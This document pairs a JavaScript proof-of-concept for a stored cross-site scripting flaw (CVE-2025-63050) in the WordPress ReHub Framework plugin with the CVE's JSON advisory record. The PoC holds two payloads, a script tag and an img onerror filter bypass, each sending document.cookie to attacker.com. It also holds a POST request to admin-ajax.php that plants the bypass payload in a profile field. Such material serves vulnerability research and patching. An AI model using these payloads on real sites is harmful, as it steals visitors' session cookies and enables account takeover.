CVE-2025-63050

// CVE-2025-63050 Stored XSS PoC // Target: WordPress ReHub Framework < 19.9.9.7 // Attacker injects malicious script via vulnerable input field // Example: In comment, review, or user profile field const maliciousPayload = '<script>\n fetch("https://attacker.com/steal?cookie=" + document.cookie)\n</script>'; // Or using event handlers to bypass some filters: const bypassPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\' + document.cookie)">'; // POST request to inject payload fetch('https://target-site.com/wp-admin/admin-ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'action=rehub_save_field&field_name=description&field_value=' + encodeURIComponent(bypassPayload) + '&nonce=' + nonceValue }) .then(response => response.json()) .then(data => console.log('Payload injected:', data)); // When victim visits the page containing the stored payload, // the script executes automatically in victim's browser

{"cve": {"id": "CVE-2025-63050", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:10.430", "lastModified": "2026-04-23T15:35:00.927", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sizam REHub Framework rehub-framework allows Stored XSS.This issue affects REHub Framework: from n/a through < 19.9.9.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/rehub-framework/vulnerability/wordpress-rehub-framework-plugin-19-9-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}